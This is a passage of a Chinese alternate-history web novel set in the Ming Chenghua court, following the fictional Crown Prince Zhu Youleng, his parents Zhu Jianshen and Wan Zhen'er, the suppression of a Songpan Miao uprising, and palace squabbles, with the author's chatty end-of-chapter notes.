主要朱见深在处理政务上有灵性但不多,而朱佑棱就太有灵性了。 其实大明能坐到内阁大臣的位置,几乎都是有能力的。哪怕朱见深后期的内阁大臣们,以万安为首的一首辅俩次辅,被嘲笑是浆糊阁老 是皇帝的应声虫,皇帝说什么便是什么。但只是对比成化初年的商络等人,对比其他大臣,就是有能耐。 朱见深在历史上,好像只有他对万贞儿的感情出名,其他平平无奇,相反朱佑樘的名声比他好太多。 但看庙号 朱见深是宪宗,而朱佑樘的是孝宗皇帝。上一个出名的孝宗皇帝是谁来着 哦,宋孝宗赵昚。 不想谈朱佑棱和赵昚能不能相提并论,但是吧,庙号为‘孝’就代表他出名的是‘孝’。 负责提议庙号的言官觉得皇帝‘慈惠爱亲,德孝彰明’,继位的皇帝,就会给去世的老皇帝安上‘孝宗’的庙号。 就朱佑棱的性格而言,大概会抢了历史上朱佑棱独子朱厚照‘武宗’的庙号。 不过话说回来,朱佑棱只觉得‘明武帝’的称呼,与他最配。他必然会拳打倭国,脚踏欧罗巴!并让‘草原慈父’李文忠的光辉,再次洒满整个塞外。 总之朱见深在历史上貌似没什么建树,名声好像还没他儿子朱佑樘好听,但实际上,朱见深就是比朱佑樘出色。最起码朱见深的耳根子不软 他唯一的软肋是万贞儿,而万贞儿除了年龄比他大17岁外,根本没其他的缺点。 别说万贞儿心狠手辣,不是个好女人的话。万贞儿再心狠手辣,也从来没有想过坑朱见深。相反万贞儿为了朱见深做了很多退让。相反朱佑棱的那位皇后 旁的不多说了,反正挺对不起朱佑樘对她的一心一意。活该最后晚景凄凉。 扯远了,总之朱佑棱的最佳继承人身份,是从小树立起来的。内阁大臣们共同教育了很多年,哪怕朱佑棱因为意外早亡,后继者也万万比不上朱佑棱的。 忘了说,朱佑极还在,朱佑樘排行老三,即便朱佑棱无了,按照长幼有序的规矩,也轮不上朱佑樘。 如今的朱佑樘比朱佑棱小了将近五岁。依然耳根子软,却无人在意。 相反,很多人还认为藩王耳根子软代表听话,像朱见泽和朱见浚,就脾气好,随便朱见深怎么安排。哪怕‘发配’一样去了闽南和安南郡,依然没丝毫怨言,依然战战兢兢的开垦良田,种植粮食输送回中枢朝廷。 文武百官甚至觉得,朱佑棱的弟弟们,也会如此的。依然对于朱佑樘的温吞性子,甚至乐见其成。 朱佑棱就更别说了,他很忙,年龄越大就越忙。只是偶尔去皇子住所看望弟弟们,多余的时候,都是忙着‘帮’朱见深批改奏折,忙着‘帮’朱见深和内阁大臣们商量政务。 朱佑棱才休息三天,之后就开始像陀螺一样忙个不停。谁让大明现在就跟天漏了似的。山西陕西两地干旱无雨,但是江南地区,特别是两淮地区,最开始是细雨绵绵,再然后连续暴雨,一个月最起码28天都有雨。 这雨水一多,又没有晴天的时候,自然的和‘雨水’有关的天灾就出现了,什么冰雹,洪灾水涝,前前后后,几乎不分先后顺序的接踵而来。 并且大灾之后必有大疫。洪灾水涝过后,霍乱痢疾鼠疫都有可能爆发。 而这才是最麻烦的地方。 索性预防得很及时,即便地方真爆发了鼠疫霍乱等疫病,也很快解决,并没有造成多大的损伤。 “儿子不知道该怎么说了!”朱佑棱叹气,即便待在百花盛开的御花园,心情也并没有多美妙。 万贞儿在剥橘子,剥好一个就塞到朱佑棱的手中。 “天灾人祸是这样,人祸可以避免,可是天灾”万贞儿摇头。“尽力所为便是。” “是的,尽力就是。”朱佑棱接过万贞儿塞给他,已经剥好皮的橘子吃了起来。 有点儿酸,但不是很酸! 朱佑棱能接受,还吃得很舒坦! 今日朱见深,居然没有搅合‘母子俩的亲情时刻’,反而很自觉的召见大臣开会。 然鹅难得的善解人意,并没有迎来儿子的赞赏,就连他心爱的贞姐,也是很肯定的表示,大概日子过得舒坦,又想要闹幺蛾子了! 朱佑棱超级赞同的点头。 “娘亲,父皇这样,你不时时刻刻的盯着,只怕要闯祸啊!” 万贞儿白了朱佑棱一眼,哭笑不得的说。“我是你父皇的妻子,不是他的母亲,再说母亲,也没有时时刻刻盯着儿子的道理。” 朱佑棱:“倒也不必这样说。” “鹤归你啊,真是越大越不可爱了。”万贞儿笑着道。“看看你,常常把你父皇气得跳脚,有什么好处?” 朱佑棱:“不止现在,其实儿子从小就喜欢逗父皇玩。没见父皇因为和儿子待着,都活泼了不少嘛。” 此话一出,万贞儿笑得那叫一个不含蓄,说是哈哈大笑也不为过。 朱佑棱泽妈宝男,全程跟着一起笑,等朱见深好不容易结束和内阁大臣们的例行会议,见到的便是母子俩一起灿烂笑的一幕。 朱见深直觉有问题,顿时将矛头指向亲儿子。 “鹤归,你又背着朕,跟你娘亲说朕什么坏话。老实交代,朕保证不揍你。” 朱佑棱:“” “人心中的成见,真是一座大山。”朱佑棱吐槽。“怎么一来就说儿子待着娘亲嘲笑你。儿子至于那么不靠谱?” 朱见深:“臭小子什么毛病,难道朕这个做亲爹的还不知?老实交代啊不然朕” “娘亲,你管管父皇。”朱佑棱没理会朱见深的怀疑,直接冲万贞儿告状。 “真是的,这么离谱的猜测,亏父皇能想出来。” 万贞儿好不容易止住笑意,又差点被朱佑棱的‘抱怨’逗笑了。不过好娘亲,就是要维持好父子关系。当即就说起前儿搞得轰轰烈烈的‘灭佛运动’, “听说最近还俗的和尚十分的多,这是好事儿,深郎当褒奖一二才是。” 朱佑棱:“娘亲说得有道理。其实不止还俗的和尚值得褒奖,朝廷还应当鼓励寡妇再嫁!而这才是促进人口增长最好的办法之一。” 为了一块只是‘名声上好听’的破牌坊,就祸害了女性一生,简直不要B脸到极致。 朱佑棱反正觉得,敢搞出‘望门寡’,敲锣打鼓上书朝廷要求朝廷褒奖的玩意儿,一律呵斥怒骂,自然就杜绝了婆家利用守寡的儿媳荣耀家族的想法! 万贞儿却道。“有些烈妇节妇的行为值得褒奖,给一块贞洁牌坊,不可混之一谈。再者朝廷奖励贞洁牌坊,也是要核实的,不会任由男方家随意说什么就是什么。” 说到这儿,万贞儿又道。“你是在山西的时候,遇到了女子夫家迫害女子的事情?今儿才由此一说?”—— 作者有话说:更新o(* ̄︶ ̄*)o《 》 90-100 第91章 第091章 “是在晋地听过不…… “是在晋地听过不少, 也见识了不少。”朱佑棱开口道。“当然了,儿子说的也是真心实意的话语。虽说众生皆苦,但在儿子看来,女子更苦。” 万贞儿赞同朱佑棱的观点, 却也道。“你说的为娘都知晓, 只是做起来, 万般不容易。我儿当知, 万事不可操之过急, 像这类的事儿, 得斟酌再斟酌, 才能着手处理。” 朱佑棱颔首, 表示自己知道了。 而又说了一会儿话, 时间就来到了晚上。临近深秋,白昼时间越发短暂,有时候发觉白天根本就没有做多少的事儿,一晃一个白天就过去了。 朱佑棱其实很自律,除了好吃一点, 没有其他的毛病。当然性格方面, 相较锐进了一点,朱佑棱并不觉得这是个毛病。相反,这是优点啊! 这样的优点, 让朱佑棱保证了对处理贪官污吏的热情。却成了让官员又爱又恨的特质,但朱佑棱依然坚持自我! 还时常用‘百因必有果, 你的报应就是孤’的真理,给自己塞核动力机油,在政务上勤勤勉勉。 有时候朱见深会敷衍了事儿,对某些奏章睁一只眼闭一只眼, 但朱佑棱不 朱佑棱天性较真儿。 越是这个时候,朱佑棱的天性就会得到全力的释放。 “这什么乱七八糟的。” 朱佑棱将手中批阅到一半的奏章递给朱见深。朱见深本来捧着茶盏,津津有味的品茗。奏章凑到面前,顿时就愣住了。 “鹤归,你这脾气要改改!” 朱见深放下茶盏,还来不及看奏章,就摆出老父亲的谱儿,说教儿砸! 朱佑棱面色平静,“父皇你看看就知道了!” “朕自然要看的。” 朱见深拿过奏章,打开看了起来。 刚开始看,嗯,还不错,接着看窝草,这写的什么玩意儿? 稳住继续看,越看越生气,到最后直接将奏章摔了。 “什么玩意儿?他们怎么敢的!”朱见深开始骂骂咧咧。 朱佑棱微微挑眉,无奈的说,“儿子就说吧,这奏章谁看了谁生气。” 朱佑棱在山西晋地儿掀起巨大风浪,并用铁腕整顿吏治的时候,远在数千里外的川西北地区,位于崇山峻岭间的松潘卫(今四川松潘县一带),一场酝酿已久的民族冲突,终于如火山般爆发了。 奏章就是上奏这件事情,但语气含糊不清,全是推卸责任。这谁看了不生气。 “父皇,招内阁大臣们议事吧!”朱佑棱眉头紧锁,就四川巡抚和巡按的态度,只怕拖的时间久了,会酝酿更大的祸事。 朱见深点头,当即就有小黄门出乾清宫直奔内阁的办公地点。 松潘卫,地处川甘青三州交界,山高林密,地势险要,是朝廷控制川西,联通青海的重要军事边镇。 松潘卫聚居着众多羌、藏、苗等少数民族部落,与卫所驻军及流官之间,常因土地、赋役、贸易乃至文化习俗等问题,矛盾不断,时不时就有摩擦发生。 在成化10年的时候,曾发生过一次小规模的混乱,不过很快得到了平息。 而在成化十三年夏,由于连年歉收,加之当地卫所军官与流官横征暴敛,强占山林土地,甚至欺凌部民,终于的,往日累积的怨恨,达到了顶点。 以苗族首领乜富(虚构人名)为首的多个部落,联合揭竿而起,攻打卫所,焚烧官署,杀死贪暴官吏。 起义军凭借对地形的熟悉和剽悍的战斗力,初期连连得胜,迅速控制了松潘周边大片地区,声势浩大,震动全川。 八百里加急的告急文书,如同雪片般飞向蓉都,又由四川巡抚、巡按火速奏报京师。 但 就像先前朱佑棱和朱见深生气的那样,狗屁不通逻辑不顺,看着奏章就火大。并且这份火大,持续到了内阁大臣们纷纷到来,依然无法平息。 “松潘苗民作乱,攻杀朝廷命官,占据卫所,声势颇张。” 朱见深将奏报扔给御案下的几位内阁大臣和兵部官员。 “诸卿以为,当如何处置?” 兵部尚书白圭出列,他刚因西北用兵之事与户部扯皮多日,此刻又见西南生乱,心中亦是焦虑。 “回陛下的话。”白圭神色严肃的道。“松潘卫那里生活的苗民悍勇,再加之地势险峻,易守难攻。此次叛乱,虽因地方官吏贪暴而起,然苗民攻杀朝廷命官,占据卫所,此行为形同叛逆,不可不剿。老臣以为,若任其坐大,恐川西北部地区不稳,波及邻省。老臣再以为,当速发大军,以雷霆之势镇压,擒获首恶后,余者方可招抚。” 户部尚书听到这话,立马面带难色。 “白尚书所言虽是,然而国库空虚,西北用兵在即,粮饷已捉襟见肘。若再于西南大动干戈,恐难以为继。微臣觉得,是否该先派遣能臣干吏前往招抚,查明情由后,惩办激起民变的贪官污吏,或许可以平息事态,免动刀兵。” “招抚?” 都察院左都御史李宾这时候反驳道。“这话倒是说得轻巧,可那乱民已经杀官占据卫所,此行为已经形同割据,倘若朝廷示弱,仅仅以招抚应对,恐怕天下乱贼效仿,那么边疆将永无宁日!臣认为,必须剿抚并用,以剿为主,打掉其嚣张气焰,再谈招抚的话,方是正理!” 很快,六部尚书和其他官员,开始就‘剿’还是‘抚’的观点,展开了激烈的争论。 而这场争论,几乎持续了半个时辰左右,主和派与主战派,说的那叫一个口沫横飞。 朱见深听着心烦,不由想起远在山西等等,他的好大儿回来了啊! 朱见深撇头看向朱佑棱。朱佑棱面无表情,回望朱见深,无声询问,你老又要闹什么幺蛾子! 懂了的朱见深诡异的沉默数秒。 “鹤归,你怎么看?”朱见深出声道。“如果你是朕,遇到这种事儿,该如何决断。朕知朕的太子,虽年幼,但行事果决,洞察力强……” “能怎么看?”朱佑棱抹了一把脸,开口说。“儿臣觉得,白尚书和李卿的话,都所言有理。松潘之乱,非寻常民变,儿臣认为已经危及朝廷对川西北地区的统治,必须迅速平定,诛首恶以儆效尤。” 朱见深又问:“那依鹤归的意思,该选谁去?” 朱佑棱:“儿臣闲暇之时喜欢看兵书,虽只会纸上谈兵,但也知晓这用兵之道,在于如何选将。” 顿了顿,朱佑棱又道。“为将者精明能干,有统率之能,必事半功倍。” 朱见深:“那依着鹤归的想法,该何人可当此任?” 朱佑棱:“问白大人吧。他是兵部尚书,儿臣不是。” 这种打仗的事情,本来就该兵部拿出章程,问他一个太子算怎么回事。 而且已经说了,他这种的,算纸上谈兵。 这时候白圭不失时宜的开口道。“四川巡抚都御史张瓒,久在川地,熟悉边情。此前张瓒,曾平定川南一些土司骚乱,颇有章法。不如命张瓒总督军务,专责征讨松潘苗乱。陛下可许其便宜行事,调动四川境内卫所兵马及土司兵,速战速决。同时,朝廷可下明诏,申饬激起民变得地方官吏,惩一儆百,以安民心。剿抚并用,双管齐下,才是迅速平息民变的良策。” 朱见深思忖片刻,觉得白圭的建议稳妥可行。 张瓒是现任四川巡抚,由他挂帅,名正言顺,且熟悉情况,可省去调兵遣将,磨合适应的时间。 “准奏!”朱见深立即开口道。“命张瓒总督四川军务,调集兵马,让他以最快的速度剿杀作乱松潘的苗民。居住,让张瓒务必擒获贼首,平定地方。户部、兵部,需协力保障粮饷军械,不得有误!” “臣等遵旨!”六部官员以及大臣们齐声道。 随即很快,圣旨以六百里加急的速度,飞递蓉都。 几日后,四川巡抚衙门。 张瓒如今,年约五旬,面容清癯。并非纯粹的文官,早年有军旅经历,深谙兵事。 对于松潘之乱,他早有预料,甚至已开始暗中调集兵马,筹备粮草。 此刻接到全权委任的诏令,他并无太多意外,反而有一种“终于来了”的凝重。 松潘地势之险、苗民之悍。强攻硬打,都绝非上策,只会徒耗钱粮兵力。 想要快速平定叛乱,必须谋定而后动。 “先将犯错的官员抓起来。”张瓒对巡按道。“这样出兵才能无后顾之忧。” 松潘卫的苗民之所以会造反,不过是‘官逼民反’。在松潘高原,雪山连绵,草甸广袤,岷江及其支流如银色丝带穿行在崇山峻岭之间。 除了苗族百姓外,羌、藏等族百姓,也生活在这儿。他们原本在松潘高原过着虽不富裕却相对平静的生活。然而沉重的税收以及无度索取的陋规,让他们不堪重负。 松潘高原处于大明疆域边陲,朝廷在此设卫所:松潘卫。派流官,实施“土流并治”政策。 理论上,当地百姓需向朝廷缴纳赋税,承担徭役。然而,自正统、景泰以来,朝廷对西南的控制力时有波动,再加上交通不便,中枢朝廷下发的政令到了这里,往往被地方官府层层加码,扭曲变形。 说起来,原本朝廷规定的正赋,也就是正经收取的税收不低。但随着朱佑棱的各种‘骚操作’,成功的提升了国库收入。 商税增加,农税减少,按道理来讲,对商人不利,却利民。结果松潘这边,经由布政使司、府、州、县、乃至最底层的胥吏之手,商税增加了,但相应的,其他苛捐杂税也出现了—— 作者有话说:求个预收! 下本完结后不会接女帝,因为女帝那本已经开了。会开流放文或者大明神匠皇帝那本! 么么哒 (づ ̄3 ̄)づ╭~ 下个月我日六! 逼自己一把,两本书一起日六,我相信我能行的![笑哭][笑哭][笑哭]不行的话,当我没说,哈哈哈,下下个月继续发誓! 第92章 第092章 官府收取税银,…… 官府收取税银, 不管哪地的官府,都会在收取税银的过程中,搞‘耗羡’、‘加派’以及‘折色’。 耗羡,顾名思义, 指在征收实物税如粮食布匹, 或熔铸银两时, 官府以弥补运输、储存、加工过程中的损耗为名, 在正税之外额外加征的部分。 比如征收漕粮时, 为弥补鼠吃, 雀啄, 潮湿霉变。运输洒漏等等损耗, 而特意加收的粮食。 至于‘加派’, 指的是在规定的正税定额之外,因临时或特殊需要(主要是军需)而增设的税项。这是法定的、全国性的额外税收。 明末最为臭名昭著的‘三饷’,便是属于‘加派’范围。哪‘三饷’呢,辽饷,剿饷, 练饷。 辽饷是为应对辽东后金(清)战事而加征, 剿饷则为了为镇压李自成等农民起义而加征。至于练饷,就更加好懂了,是为训练地方军队而加征。 之所以说‘三饷’臭名昭著, 主要是明末的各种地方起义,便是加收的‘三饷’逼迫的。 各种苛捐杂税, 再加上‘小冰川时代’在崇祯事情达到巅峰,各种天灾不断,百姓衣食无着,自然的就 而‘折色’指将原定应缴纳的实物税或力役, 按照官方规定的价格,折合成银两或其他物品来缴纳。属于一种征收形态的转换。 比如田税,按规矩是收田地出产的粮食。但这样一来运输不方便,就把应交的粮食折算成税银。还可以将该服的徭役,折成银两缴纳 其实这样单看,明朝的税收,还是挺正常的。但奈何地方官府喜欢抓bug变着花样儿的收税。 为什么松潘卫会发生苗民叛乱的事儿,简单概括就是官员贪得无厌。如果不是太贪,让苗民无法再忍受,苗民又岂会做出攻打松潘卫,并且占据卫所的事儿来。 所以接到命令后,张瓒选择先整顿内部,并没有大张旗鼓地点兵出征。 张瓒雷厉风行,以“激起民变、贻误军机”为由,将查实的确有贪污暴戾恶行的松潘卫及附近州县的数名军户长以及官吏就地革职锁拿,奏报朝廷。 这样的举动,虽说有点儿马后炮的意思,但其实已经算是做出表态,让居住在松潘卫以及附近州县的苗民明白,朝廷绝对不会一味偏袒犯错的官吏军户长。 如此之后,张瓒才开始调兵遣将,力求稳扎稳打。同时还发布发布檄文,历数朝廷对川西各族的恩德,严斥激起民变的贪官污吏,并申明贪官污吏已经被他拿下,不日斩立决。 还在檄文中表明态度,说只诛首恶乜富等少数煽动叛乱的头领,至于从者,都会从轻发落。 并且檄文的发布后的第五天,确定檄文被大众所知后,便派出口才相当可以,还熟悉苗情的使者,携带他的亲笔信和少量盐茶布匹等实物,秘密接触一些参与叛乱但态度摇摆,或被乜富裹挟的部落头人,许以赦免,给予赏赐,劝其归顺。 这一过程,还算顺利。只是叛军首领乜富那里 首领乜富此人,年龄大概四十左右。身材魁梧,性情也很彪悍,在他所在的部落中威望颇高。 最开始,乜富是因为不堪受到贪官污吏的压迫才选择起义。没相当松潘卫不堪一击,竟然轻易让他占据了卫所。 来得如此轻易的胜利,让乜富的野心随之膨胀。现如今的乜富,居然试图割据一方,成为像大唐时期,制霸一方的节度使。 为了达成这样的野望,乜富甚至和更西面(吐蕃等地)的某些不安分的土司势力联络。 联络过程中,乜富得知张瓒这位四川巡抚,居然采取步步为营的分化策略,很是不以为然,觉得明军劳师远征,不耐山险,而他只要凭借地利固守,朝廷终将妥协。 然而,随着时间的推移,乜富渐渐感到了压力。他所占据的松潘卫所的外围据点,被明军逐一拔除,甚至封锁。 向外的贸易通道被切断,由于无法对内外贸易,盐铁茶叶等生活必需品开始短缺。 更让乜富不安的是,部落内部开始出现不同的声音。一些原本就与乜富不太和睦的头人,在明军使者不断的游说和许诺下,开始动摇,甚至暗中与明军联络。 乜富愤怒,甚至心生惶恐,明军这样搞,明显让他和部落之间出现了裂痕。 张瓒那边,则敏锐地抓住了这个机会。在完成外部封锁、内部初步分化后,亲率主力,张瓒兵分三路,向松潘核心区域发动了总攻。 前头说过,张瓒他本身不是纯粹的文官,打过仗,自然明白该怎么打仗。 张瓒出兵,先是避开了起义军重兵防守,地势最险要的正面关隘,接着利用细作提供的情报和暗中归顺部落的引导,派出奇兵翻越常人难以通行的山间小道,迂回穿插,直捣起义军兵力相对薄弱的后方囤粮点和几个重要首领的村寨。 同时,张瓒让那些已被策反或动摇的首领,在关键时刻于起义军内部制造混乱,散布‘明军势大’、‘只诛乜富’等消息。 乜富估计没料到张瓒用兵如此老辣,更加没料到内部会出现如此多的叛徒。仓促应战下,起义军开始节节败退。 最终,在松潘卫城外的最后一战中,乜富的主力被张瓒设计诱入一处山谷。 起义军遭明军伏击,又有土司兵从侧翼猛攻,而起义军内部又有部分部落临阵倒戈。 自然而然的,起义军大败,乜富率少数亲信拼死突围,逃入深山,但不久后便被熟悉地形的、已归顺明军的部落武装搜捕,押解至张瓒军前。 张瓒信守诺言,只将乜富等少数核心头领斩首示众,其余参与叛乱的苗民,大多予以赦免,发放少量粮种,令其归寨耕种。 而对于在平叛中有功的部落,则给予茶叶盐巴布匹等赏赐,并允诺减免一定赋税。 之后,张瓒重新整饬松潘卫所,并且上奏,请中枢朝廷选派相对清廉得力的官员,好重申朝廷律法,缓和民族矛盾。 历时数月,松潘苗民起义总算以损伤较小的代价被平定。捷报传至京师,朱见深龙颜大悦,直接下旨褒奖张瓒及有功将士。朝中因西南用兵而引发的争议,也暂时平息。 “只是暂时平息了而已。”朱佑棱将奏折放下,看着朱见深道。“有些问题不解决,继续日积月累的话,未来还会爆发。” 朱见深:“那就是你的事了。” 朱佑棱:“???” 朱见深亲手给朱佑棱倒了一杯茶。 “朕说真的。”朱见深强调。“鹤归你也说了,未来会爆发。朕现在已经老了,朕有限的时间,要多多的陪伴贞姐,所以鹤归啊” “所以呢,父皇,你接着往下说啊!”朱佑棱面无表情的看着朱见深,直觉这老登儿没有憋好屁。 果不其然,只听朱见深故作惋惜的道。“鹤归啊,你为什么才13岁(虚岁)呢!” “这要问你了。”朱佑棱面无表情的‘呵’了一声。“谁让父皇你不给力,没让娘亲早点怀孕呢!” 朱见深:“” “这话是你能说的!”朱见深拍桌子,很生气又不像生气的说。“啊,你要不要听听你在说什么。” “是父皇你嫌弃儿子年龄小,要想儿子的年龄大,那就只能父皇努力” 朱佑棱耸耸肩,显得无奈又无赖。 “自己不给力,还怪儿子?怎么好意思开口的。” 朱见深:“” “笑归笑闹归闹,不许你拿朕的贞姐开玩笑。”朱见深转而道。“当初贞姐怀孕,朕高兴又惶恐。如果可以,朕不希望贞姐承受生育之痛。” “放心父皇,儿子从来不会拿娘亲开玩笑。儿子只会开你老的玩笑。” 朱佑棱可是妈宝男。妈宝男又怎么可能不尊重亲娘呢。只有亲爹,莫不是忘了‘老登儿’的妙称。 “父皇你要自己想开,首先儿子今年13岁,明年就是14岁,后年就是15岁,大后年十六。十六及冠,可是成年人了。父皇你这样想,是不是就觉得一晃眼,儿子就长大了。” 朱见深顺着朱佑棱的思路,往下这么一想,发觉好像是这个道理,不免点头道。 “的确,朕已经看到朕禅位于你的希望了。” 呃!突然说这样的,一时半会儿还真就不好回答。 朱佑棱默了默,转而道。“父皇,我们说回先前的话题。” “先前的话题。”朱见深陷入思考,很可惜的是,并没有想起来先前的话题是什么。“先前我们父子说什么来着。” 朱佑棱:“” “松潘卫那边事端,只是暂时平息而已。”朱佑棱无奈至极的道。“儿臣觉得,随着时间推移,要是再来一位地方官员,为了政绩推翻前任所定下的政策,只怕好不容易平息的汉苗两族纷争,又要重起波澜。”—— 作者有话说:更新o(* ̄︶ ̄*)o 第93章 第093章 “所以朕说,以…… “所以朕说, 以后交给你处理。”朱见深很冷静的道。“现在的时机并不成熟不是吗!” 朱佑棱:“” “别否认朕的观点。”朱见深又道。“你仔细想想,朕说的是对还是错。” “是对的,也是错的。”朱佑棱同样冷静,且认真无比的道。“现在父皇你才是皇帝, 该你处理的事情, 你拖着, 打算以后‘甩’给儿子做什么?” “朕懂你的意思了。”朱见深点头感慨起来。“鹤归啊, 你是不是已经迫不及待想要继承皇位了。不用着急, 等明年, 不, 下个月朕救禅位给你。” 朱佑棱:“” 已经用‘目瞪狗呆’都不能形容朱佑棱的震惊了。 “父皇, 你今儿忘了吃药, 还是吃错了药。”朱佑棱无语的道。“你现在多大岁数,儿子多大岁数,禅位什么的至于吗!” “很至于”朱见深强调。“朕的确年轻,可贞姐朕要陪着贞姐一起白头到老。鹤归啊,你已经13岁, 不是三岁, 少年天子,说出来多好听啊!” 朱佑棱:“” 朱佑棱感觉一辈子的无语,都没有现在这么多! 过了一会儿, 朱佑棱深呼吸,感觉很破碗破摔的道。“如果父皇愿意, 那就这样吧!” 朱见深自然是愿意的,不然他都开不了这个口。现在听朱佑棱这么说,朱见深高兴无比,还道。“那就行, 朕立马叫钦天监测个良辰吉日,择日禅位。” 朱见深的这种行为怎么说呢! 不止万贞儿得知后没什么反应,就连文武百官都保持沉默。没出声,就是默认朱见深想要禅位给朱佑棱的决定。 “陛下高兴就好。” 成化年间的内阁大臣们,全都如此的态度。不过到底在成化十三年,朱见深并没有禅位成功。主要钦天监的官员都不怎么给力,没测出成化十三年有什么好的日子适合禅位,干脆就挪到了成化十四年。 而成化十四年呢,一开春,朱佑棱就以‘见习政务、体察民情’为由,又数次奉命外出巡视,足迹涉及京畿、河南、南直隶等地。 朱佑棱不止巡查漕运,还会检视屯田,顺便审理每到一处,地方‘囤’放着的积案。 当然了,鉴于朱佑棱第一次出行就被刺杀,这次的每一回出行,都有超多的锦衣卫相随,全天24小时待命。 并且在之后的出行中,朱佑棱很好的延续了在山西时的风格。务实、较真、厌虚文、重民生等等,都是朱佑棱能做到的。 他就是这样完美的少年郎,哪怕有坑货一样的亲爹,朱佑棱在手腕愈发老练的同时,也成长为优秀的继承人。 真不要地方官员太混蛋,哪怕之后的出行中,朱佑棱没有遇到像刺杀那样的惊险,但地方官场的抵制,阳奉阴违,以及各种明面上顺从暗地里却玩阴的软性对抗,从来没有停止过。 不过朱佑棱根本不虚,反正他的身份占据最佳优势,不听话,想法儿收拾就是。任谁都挑不出理儿来。 至于紫禁城,自从周太后‘抛弃’心爱的小儿子,返京居住后,紫禁城里的气氛看似平静,实则已经开始起波澜。 万贞儿本就是朱见深的真爱,哪怕现在依然不是皇后,而是皇贵妃,依然大权在握,如日中天。 万贞儿其实很少干涉朝政,但朱见深深受她的影响。不管万贞儿是有意还是无意,她都通过朱见深影响着诸多决策。 再加之万贞儿脾气,不是那么的好,也就只对朱见深和朱佑棱温柔,导致整个后宫对万贞儿恐惧,远比佩服深。 随着朱佑棱这位太子的年岁见涨,一些原本依附或畏惧万贵妃的势力,开始将目光投向未来的君主,再加之周太后的回归,导致整个紫禁城的人,都觉得万贞儿会对朱佑棱这位亲生儿子感官复杂,毕竟在他们的眼中,万贞儿权力欲望甚重。 要说这个,其实也是看低了万贞儿,更看低了朱佑棱。 朱佑棱什么属性,除了毒舌身材微胖喜欢坑爹外,还是标准的妈宝男。 妈宝男最大的优点是什么,那就是超级听妈妈的话,以及超爱妈妈。 亲娘喜欢权利,没问题啊,只要有,给就是了! 而万贵妃呢,她的确权力欲望重,但她37岁的时候,才生了此生唯一的儿子。 就这一个儿子,小时候仔仔细细的养着,就怕一错眼,在她眼皮子遭了谋害,朱佑棱的事情,几乎都是万贞儿亲力亲为。 万贞儿为儿子的成长骄傲,那是肯定的,可你要说万贞儿,对朱佑产生了那种母亲对儿子逐渐脱离掌控的复杂心绪,那是绝对不可能的。 也不知道这些人是不是眼睛有问题,哪怕万贞儿和朱佑棱表现得亲密无间,也被认为是在做戏。其中周太后,就是此等想法的忠实拥护者。 “她是不是有病。”周太后拍桌子,就差上蹿下跳的吼叫。“太子多大,她多大,啊!” 万贞儿:“你骂谁呢!” 周太后怒视万贞儿。“泼妇,你几个意思?” “你仔细看看我,再去铜镜面前,仔仔细细的看看自己。”万贞儿都快被周太后的那句‘泼妇’气笑了。 不,已经气笑! 万贞儿又开始冷嘲热讽。“谁是泼妇,太后娘娘你能不能有点儿数。” “哀家能有什么数?”周太后一点都不心虚,继续和万贞儿吵得欢乐。 “哀家说的是别人,是你非要对号入座。” 万贞儿:“本宫发觉,自从太后娘娘回宫后,就越发的听不懂人话,如今看来,岂止是听不懂人话,现在啊,连人话都不会说了。” 周太后:“” “万贞儿,你大胆。” “行了,现在只有我们俩,你别咋咋呼呼了。”万贞儿倒是没生气,反而挺语重心长的说话。“你看看你,我都没有生气,你气什么?太子我儿什么性格,我这个做亲娘的难道不知?” “放心吧!我生的儿子,我清楚得很。是不可能像他父亲那般,专爱一人。” 周太后:“你在嘲讽哀家!” 万贞儿:“” ——这老娘们,是真的听不懂人话! “太后娘娘怎么会觉得本宫是在嘲讽你?”万贞儿故作夸张的捂嘴。“难道是因为先帝爷更爱钱太后,根本就不爱你。” “万贞儿你这老娘们,还说不是在嘲讽哀家。”周太后气哭了。“哀家自从跟了先帝爷,哪样不比那钱氏出色,为什么先帝爷就是看不到哀家。” 万贞儿在旁大声的说。“钱太后为先帝爷哭瞎一只眼睛,太后娘娘你有吗!” 周太后的哭闹截然而止。 好吧,对于先帝爷的遭遇,她还真就没怎么伤心过,何况是掉眼泪。 “为什么要执着没有的东西呢!”万贞儿在旁装模作样的为周太后感叹。 周太后:“” 周太后气得眼歪嘴斜,却什么话都骂不出来,最后居然嘤嘤的哭了起来。 别说,哭起来还真的有几分梨花带雨的味道。 万贞儿就静静的看着周太后哭。不说话,就等着看周太后什么时候哭够。 可不是万贞儿喜欢看笑话,主要周太后的性格就那样。越理会越来劲儿,万贞儿敢保证,只要自己劝,周太后立马嚎得更加大声。 何必呢! 不止浪费口舌,还折磨自己的耳朵。 万贞儿低头打量自己那双涂满红色丹寇的手。到底上了年龄,即便细心保养,现如今的她依然眼角出现皱纹。她服老,却又不服老。凭什么‘我生君未生,君生我已老’,她要和她的深郎长长久久的在一起。 可是年龄上的差距,到底她会先走一步。 万贞儿都不敢想,要是她先走的话,她的深郎会有怎样的反应。 过了好一会儿,大概一个时辰左右吧,周太后终于嘤嘤够了,闹着让宫娥倒水。 “水就在这儿呢!”万贞儿主动给周太后倒了一杯水。“喝吧,润润喉,才好继续嘤嘤嘤。” 周太后再次气到。“什么嘤嘤嘤,万贞儿你会不会说话,你的眼里到底有没有哀家这个婆婆!” ——哟!这是承认她儿媳妇的身份了? 万贞儿并没有为之感到高兴,毕竟对于万贞儿来说,她是朱见深的妻子,不被任何人质疑。 “有啊,没有的话,我干嘛给你倒水!” 周太后闻言,傲娇的哼了哼。 “你和太子的关系,什么时候缓和一下。”周太后喝着水,突然道。“好多人都说,你因为太子的能干心生嫉妒之情。” 万贞儿:“???” “你等等,让我好好捋捋。”万贞儿陷入思索中。“谁这么传的,脑子有病吧!” “可不是脑子有病。” 这话不是周太后说的,却是听闻周太后哭了好久,一直哭个不停,便将政务甩给朱佑棱处理,匆匆跑来慈安宫看望周太后的朱见深。 朱见深一来,就听到了如此离谱的话。关键好像信的人,还蛮多的—— 作者有话说:更新o(* ̄︶ ̄*)o [狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 第94章 第094章 朱见深表示,自己…… 朱见深表示, 自己受不了这样的委屈,当即就道。“母后,你是知晓的,朕对贞姐是真爱, 作为朕和贞姐的孩子, 必然受到朕和贞姐给与的双重喜爱。” “脑子有病的人, 看什么都阴暗。”朱见深振振有词的道。“鹤归那么能干, 朕简直高兴死了。想来朕禅位当太上皇的日子, 离朕不远了。” 周太后:“” 万贞儿:“” “哀家不同意, ”周太后拍案而起, 坚决反对朱见深的‘异想天开’! 朱见深:“母后, 升级为太皇太后不好?” 周太后虽蠢, 